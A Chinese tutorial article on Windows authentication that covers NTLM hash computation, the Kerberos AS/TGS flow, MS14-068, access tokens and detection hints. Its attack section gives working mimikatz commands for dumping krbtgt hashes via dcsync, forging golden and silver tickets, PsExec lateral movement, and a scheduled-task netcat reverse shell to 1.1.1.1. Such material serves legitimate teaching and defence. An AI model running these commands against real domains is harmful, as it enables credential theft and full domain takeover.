千家信息网

windows的认证协议是什么

发表于:2024-09-22 作者:千家信息网编辑
千家信息网最后更新 2024年09月22日,这篇文章主要介绍"windows的认证协议是什么",在日常操作中,相信很多人在windows的认证协议是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"windows
千家信息网最后更新 2024年09月22日windows的认证协议是什么

这篇文章主要介绍"windows的认证协议是什么",在日常操作中,相信很多人在windows的认证协议是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"windows的认证协议是什么"的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

一、NTLM认证

首先看一下NTLM hash的生成过程:

NTLM hash: password ----> 十六进制编码 ----> Unicode转换 ----> MD4加密 ----> 得到NTLM Hash
举例
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

为了保证NTLM hash的机密性,在认证过程中,是不会直接传递NTLM hash的。NTLM认证分为两种,详情如下:

NTLM本地认证:客户端发送用户名等身份信息,服务端生成随机16为challenge发给客户端,客户端使用NTLM hash加密challenge发给服务端。服务端通过用户名找到NTLM hash然后加密challenge跟客户端发送过来的比对,比对成功则认证成功。

NTLM网络认证:这种情况适用于使用域账号登录的场景,这个时候服务端是没有用户的hash的。所以不一样的地方是服务端会将用户信息、challenge、客户端返回的信息都发给域控,由域控做认证再返回结果。流程图见下图:

二、kerberos认证

NTLM协议比较简单,kerberos认证就比较复杂了,首先,介绍几个概念。
Kerberos认证的是由三方来完成的,他们分别是client、server、KDC(Key Distribution Center)
其中KDC是由两种服务所构成的,AS(Authentication Service)和TGS(Ticket Granting Service)
AS是用来为client生成TGT(Ticket Granting Ticket)的,TGS是用来为client生成某个服务的ST(service ticket)的,TGT是用来获取ST的临时凭证,ST是用来访问某种服务所必须使用的票据。

第一步 client与AS交互
client发送: 用户名 + 用户密码加密(用户信息,时间戳等)

AS:根据用户名找到用户密码,解密出用户信息和事件戳,核实成功后认证成功,然后随机生成一个session key
AS发送:用户密码加密(session key) + TGT(也就是krbtgt加密(用户信息,session key))

注意:TGT中用户唯一不知道的是krbtgt的密码hash,所以有了这个hash,就可以自己伪造TGT,也就是所谓的金票据。

第二步 client与TGS交互
client发送:session key加密(用户信息,时间戳等) + 需要访问的服务名 + TGT
TGS:使用krbtgt密码解密TGT,获得session key 解密出用户信息,与TGS中的用户信息比对。认证成功后生成随机的 server session key
TGS发送:session key加密(server session key) + ST(也就是对应服务端密码加密(用户信息,server session key))

注意:ST中用户唯一不知道的是server的密码hash,所以有了这个hash,就可以自己伪造ST,也就是所谓的银票据。

第三步 client与server交互
client发送:server session key加密(用户信息,时间戳等) + ST
server:使用自己的密码解密ST,获得server session key,然后将server session key解密后获得的用户信息和ST中的用户信息比对,认证成功。

流程图见下图:

上面的过程中,每次加密使用的密钥基本都是不一样的,是一次一密的一个很好的实践。

Kerberos认证攻击方法:

下面简单讲一下金票据的伪造和利用,使用工具为mimikatz。
1.在域控上获取ntlm hash等信息

lsadump::dcsync /domain:[domain name] /user:krbtgt

2.生成金票据

privilege::debug  #提权kerberos::golden /user:administrator /domain:[domain name]  /sid:[domain sid] /krbtgt:[krbtgt hash] /ptt  #生成票据并导入# kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

3.后续利用
①列举域控上磁盘文件

net use \\AD01.test.comdir \\AD01.test.com\c$

②反弹shell

nc.exe -lvp 9999  #监听端口copy C:\Users\Administrator\Desktop\nc.exe \\AD01.test.com\c$\nc.exe#将netcat拷贝到目标主机schtasks /create /tn "ncshell" /tr "c:\nc.exe  1.1.1.1 9999 -e cmd.exe"  /sc once /st 19:13:00 /sd 2021/04/13 /s AD01.test.com /RU test\admin #反弹shell

③使用psexec直接执行命令:

PsExec64.exe \\AD01.test.com cmd.exe

银票据的利用基本类似:

kerberos::golden /domain:test.com /sid:[sid] /target:计算机名称.test.com /rc4:[server hash] /service:cifs /user:administrator /ptt

MS14-068原理

这里简单介绍一下票据攻击中大名鼎鼎的漏洞MS14-068
利用前提:

1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

背景信息:

kerberos协议中其实没有client的权限信息,server并不知道client有什么权限。所以有了PAC(privilege attribute certificate),特权属性证书,作为TGT的一部分。
为保证PAC自身合法性,其带有两个以krbtgt密码为密钥的签名。

攻击过程:

客户端请求TGT,要求不包含PAC,拿到不包含PAC的TGT
客户端伪造PAC,一般伪造成域管理员信息,然后随便用MD5签名一下
客户端请求ST,发送TGT,同时指定将PAC包含在请求中(具体再在TGS_REQ的REQ_BODY中),指定其签名方式为MD5
TGS收到请求后,解密TGT,不包含PAC,然后根据指定的签名算法也就是MD5验证在外部的PAC,验证成功后,会再返回给client一个新的包含PAC的TGT
这样client就可以拿到一个包含指定用户权限的TGT

票据攻击检测:

1.根据工具特征,mimikatz和kekeo类似,攻击参数特征非常明显,可根据进程创建日志中的"kerberos::"等特征检测。
2.微软的ATA可根据ticket有效期检测,TGT默认十小时有效,但mimikatz生成默认十年(由可选参数/ endin 控制)

三、令牌(token)

token是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用不断的拷贝。一般情况下,用户双击运行一个程序,都会拷贝"explorer.exe"的Access Token。当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。

令牌内容:

用户帐户的安全标识符(SID)
用户所属的组的SID
用于标识当前登录会话的登录SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据

四、答疑

1、域控上的krbtgt账号是怎么创建的?有默认随机密码还是随机密码?如何修改?

krbtgt是在创建域控的时候自动生成的,并且由系统给他随机分配一个密码。修改密码是到Active Directory 用户和计算机中,找到相关用户,reset密码,然后输入指定的密码。 指定的密码不是很重要,因为系统将自动独立于指定的密码生成强密码。

2、什么时候使用token?什么时候用kerberos?以及它们之间有什么关系?

token是在本地用的,kerberos是网络认证用的。token里面有个authentication id字段,跟登录会话关联起来,然后登录会话跟缓存凭据关联起来,使用token登录其他主机时,会使用缓存凭证去登录其他机器。
网络登录不会缓存凭据,比如net use到目标主机就不会在目标主机上查到hash,通过incognito也找不到可利用的token,但是在本地主机上可以看到明文账号密码。

3、在受害主机伪造了域控进程的token后如何进一步利用?

可直接net use或者psexec执行命令。

4、既然域账号NTLM认证是在域控上完成的,为什么登陆之后还是能够获取到NTLMhash?

如果是RDP方式登录,是在远程电脑上的进程中输入明文的密码,处理过程的前面部分类似本地登录,也就是winlogon.exe -> 接收用户输入 -> lsass.exe。也就是RDP的目标机器接收了本地账号并将其处理成hash,然后RDP目标机器再使用这个hash去域控上认证。

到此,关于"windows的认证协议是什么"的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!

用户 认证 密码 信息 加密 登录 服务 令牌 票据 生成 客户 客户端 成功 也就是 主机 是在 目标 计算机 账号 过程 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广东美信网络技术有限公司 room 数据库 线程安全 华为小米属于互联网科技行业 东丽区 《网络安全法》 数据库sql 安全审计 惠山区机电软件开发产业化 seer数据库收集数据怎么整理 计算机网络技术王群电子书 软件开发什么最简单学 ssrp定制软件开发 服务器检修规程 福田做商城软件开发多少钱 桐庐都敏达软件开发有限公司 和平区信息网络技术售后保障 sql2008数据库文件 小微企业用什么数据库软件 外网云服务器推荐 数据库模型搭建 网络安全舆情的研究意义 数据库快速扩充 如何在服务器留后门 思科网络技术度量是什么意思 如何取json里的数据库 数据库窗体标签颜色在哪里 全国城市及省级数据库 卫计局网络安全领导小组职责 和平区信息网络技术售后保障 各元素的物理化学性质查询数据库 雀魂服务器配置错误怎么解决 保护青少年网络安全的软件
0